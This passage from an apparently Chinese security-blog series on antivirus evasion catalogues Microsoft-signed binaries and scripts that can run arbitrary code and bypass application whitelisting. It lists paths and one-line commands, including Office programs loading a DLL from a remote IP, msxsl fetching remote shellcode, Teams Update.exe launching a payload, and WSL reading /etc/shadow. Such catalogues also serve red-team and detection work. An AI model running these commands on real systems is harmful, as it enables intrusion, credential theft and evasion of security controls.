code>

执行方式:

rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\test\shady.inf
rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf

参考资料:

https://twitter.com/pabraeken/status/994392481927258113


https://windows10dll.nirsoft.net/syssetup_dll.html

其他MS程序(21个)

Appvlp.exe

使用说明:

Microsoft Office 2016附带的应用程序虚拟化实用程序。

文件路径:

C:\Program Files\Microsoft Office\root\client\appvlp.exe
C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe

执行方式:

AppVLP.exe \\webdav\calc.bat
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"

参考资料:

https://github.com/MoooKitty/Code-Execution

The Tale of SettingContent-ms Files
https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/

Bginfo.exe

使用说明:

BgInfo是SysInternals套件中的实用程序,它可以在桌面背景中直接显示计算机的系统信息。

执行方式:

bginfo.exe bginfo.bgi /popup /nolicprompt
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt

参考资料:

https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/
https://github.com/3gstudent/bgi-creater

Cdb.exe

使用说明:

Windows Debug工具包中的一个调试工具。

文件路径:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe

执行方式:

cdb.exe -cf x64_calc.wds -o notepad.exe

参考资料:

http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options
https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda

csi.exe

使用说明:

和dnx一样csi和rcsi都可以执行C#代码,但csi是交互式的而rcsi不是。

文件路径:

c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exe
c:\Program Files (x86)\Microsoft Web Tools\Packages\Microsoft.Net.Compilers.X.Y.Z\tools\csi.exe

执行方式:

rcs.exe bypass.csx

参考资料:

https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Devtoolslauncher.exe

使用说明:VS/VScode安装后引入的一个程序。

文件路径:

c:\windows\system32\devtoolslauncher.exe

执行方式:

devtoolslauncher.exe LaunchForDeploy [PATH_TO_BIN] "argument here" test
devtoolslauncher.exe LaunchForDebug [PATH_TO_BIN] "argument here" test

参考资料:

https://twitter.com/_felamos/status/1179811992841797632

dnx.exe

使用说明:

.NET Execution Environment(DNX) 是一个SDK 和运行时环境,它包含所有的你需要创建和运行.net应用程序的组件。可以执行C#代码

执行方式:

dnx.exe consoleapp

参考资料:

https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/

Dotnet.exe

使用说明:

.NET Framework安装后引入的程序

文件路径:

C:\Program Files\dotnet\dotnet.exe

执行方式:

dotnet.exe [PATH_TO_DLL]

参考资料:

https://twitter.com/_felamos/status/1204705548668555264

Dxcap.exe

使用说明:

Visual Studio中自带的DirectX诊断调试工具。

文件路径:

C:\Windows\System32\dxcap.exe
C:\Windows\SysWOW64\dxcap.exe

执行方式:

https://twitter.com/harr0ey/status/992008180904419328

参考资料:

Dxcap.exe -c C:\Windows\System32\notepad.exe

Excel.exe

使用说明:Microsoft Office 表格程序。

文件路径:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe
C:\Program Files\Microsoft Office\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe
C:\Program Files\Microsoft Office\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe
C:\Program Files\Microsoft Office\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe

执行方式:

Excel.exe http://192.168.1.10/TeamsAddinLoader.dll

参考资料:

https://twitter.com/reegun21/status/1150032506504151040
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

Mftrace.exe

使用说明:Media Foundation Tools的跟踪日志生成工具。

文件路径:

C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86
C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x64
C:\Program Files (x86)\Windows Kits\10\bin\x86
C:\Program Files (x86)\Windows Kits\10\bin\x64

执行方式:

Mftrace.exe cmd.exe

参考资料:

https://twitter.com/0rbz_/status/988911181422186496

msxsl.exe

使用说明:

根据Microsoft的msxsl.exe命令行程序,用户能够使用Microsoft XSL处理器执行命令行可扩展样式表语言(XSL)。 但是,这个二进制文件可以用来执行恶意的JavaScript代码并绕过应用程序白名单保护。

执行方式:

msxsl.exe customers.xml script.xsl
msxls.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

参考资料:

https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
https://twitter.com/subTee/status/877616321747271680
https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker

Powerpnt.exe

使用说明:Microsoft Office 的ppt程序。

文件路径:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe

执行方式:

Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"

参考资料:

https://twitter.com/reegun21/status/1150032506504151040
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

rcsi.exe

使用说明:

Visual Studio附带的非交互式命令行界面,和dnx一样rcsi可以执行C#代码,rcsi非交互式。

执行方式:

rcsi.exe bypass.csx

参考资料:

https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.html
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

Sqldumper.exe

使用说明:Microsoft SQL附带的调试实用程序。

文件路径:

C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe

执行方式:

sqldumper.exe 464 0 0x0110

参考资料:

https://twitter.com/countuponsec/status/910969424215232518

https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se

Sqlps.exe

使用说明:Microsoft SQL Server附带的用于加载SQL Server cmdlet的工具。

文件路径:

C:\Program files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
C:\Program files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exe
C:\Program files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe
C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe

执行方式:

Sqlps.exe -noprofile

参考资料:

https://twitter.com/bryon_/status/975835709587075072
https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017

SQLToolsPS.exe

使用说明:

Microsoft SQL附带的用于加载SQL Server cmdlts的工具。 替代sqlps.exe。 SQL Server 2016+中sqlps.exe的后继者。

文件路径:

C:\Program files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe

执行方式:

SQLToolsPS.exe -noprofile -command Start-Process calc.exe

参考资料:

https://twitter.com/pabraeken/status/993298228840992768
https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017

Squirrel.exe

使用说明:

Microsoft Teams安装的一部分,执行squirrel软件包。

文件路径:

%localappdata%\Microsoft\Teams\current\Squirrel.exe

执行方式:

squirrel.exe --download [url to package]
squirrel.exe --update [url to package]
squirrel.exe --updateRoolback=[url to package]

参考资料:

https://www.*******.com/watch?v=rOP3hnkj7ls

Squirrel as a Lolbin
https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12 https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56

Tracker.exe

使用说明:Visual studio的一部分。需要1028子文件夹中的TrackerUI.dll,可以开启一个进程并注入dll, 当然也可以直接运行exe文件。

执行方式:

Tracker.exe /c "C:\Windows\System32\calc.exe"
Tracker.exe /d .\calc.dll /c C:\Windows\write.exe

参考资料:

https://twitter.com/subTee/status/793151392185589760
https://attack.mitre.org/wiki/Execution

Update.exe

使用说明:

Microsoft Teams安装的一部分,更新现有已安装的Nuget/squirrel软件包。

文件路径:

%localappdata%\Microsoft\Teams\update.exe

执行方式:

Update.exe --download [url to package]
Update.exe --update [url to package]
Update.exe --updateRollback=[url to package]
Update.exe --processStart payload.exe --process-start-args "whatever args"

参考资料:

https://www.*******.com/watch?v=rOP3hnkj7ls


Squirrel as a Lolbin
https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12 https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56

vsjitdebugger.exe

使用说明:

Visual Studio中的jit调试工具。

文件路径:

c:\windows\system32\vsjitdebugger.exe

执行方式:

Vsjitdebugger.exe calc.exe

参考资料:

https://twitter.com/pabraeken/status/990758590020452353

Wsl.exe

使用说明:

从Windows命令行运行Linux工具.

文件路径:

C:\Windows\System32\wsl.exe

执行方式:

wsl.exe -e /mnt/c/Windows/System32/calc.exe
wsl.exe -u root -e cat /etc/shadow

参考资料:

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

脚本文件(4个)

CL_Mutexverifiers.ps1

使用说明:

导入PowerShell Diagnostic CL_Mutexverifiers脚本,然后调用runAfterCancelProcess启动可执行文件。

文件路径:

C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1
C:\Windows\diagnostics\system\Audio\CL_Mutexverifiers.ps1
C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1
C:\Windows\diagnostics\system\Video\CL_Mutexverifiers.ps1
C:\Windows\diagnostics\system\Speech\CL_Mutexverifiers.ps1

执行方式:

. C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1   \nrunAfterCancelProcess calc.ps1

参考资料:

https://twitter.com/pabraeken/status/995111125447577600

CL_Invocation.ps1

使用说明:

windows自带的诊断工具,可以执行exe文件

文件路径:

C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1
C:\Windows\diagnostics\system\Audio\CL_Invocation.ps1
C:\Windows\diagnostics\system\WindowsUpdate\CL_Invocation.ps1

执行方式:

PS C:\> . C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1
PS C:\> SyncInvoke cmd.exe "/c ipconfig > E:\ip.txt"

参考资料:

https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/

Manage-bde.wsf

使用说明:

用于管理BitLocker的脚本.

文件路径:

C:\Windows\System32\manage-bde.wsf

执行方式:

set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf

参考资料:

https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712
https://twitter.com/bohops/status/980659399495741441

Pester.bat

使用说明:与app-v和发布服务器相关的脚本。

文件路径:

c:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat
c:\Program Files\WindowsPowerShell\Modules\Pester\*\bin\Pester.bat

执行方式:

Pester.bat [/help|?|-?|/?] "$null; notepad"

参考资料:

https://twitter.com/Oddvarmoe/status/993383596244258816

后记

免杀系列文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus

白名单篇终于完结,激动之情难以言表~~

免杀专题文章终于也要接近尾声,撒花~~

*本文作者:Tide重剑无锋,转载请注明来自FreeBuf.COM

来源:freebuf.com 2020-04-20 09:00:51 by: Tide重剑无锋

正文完
 0
评论(没有评论)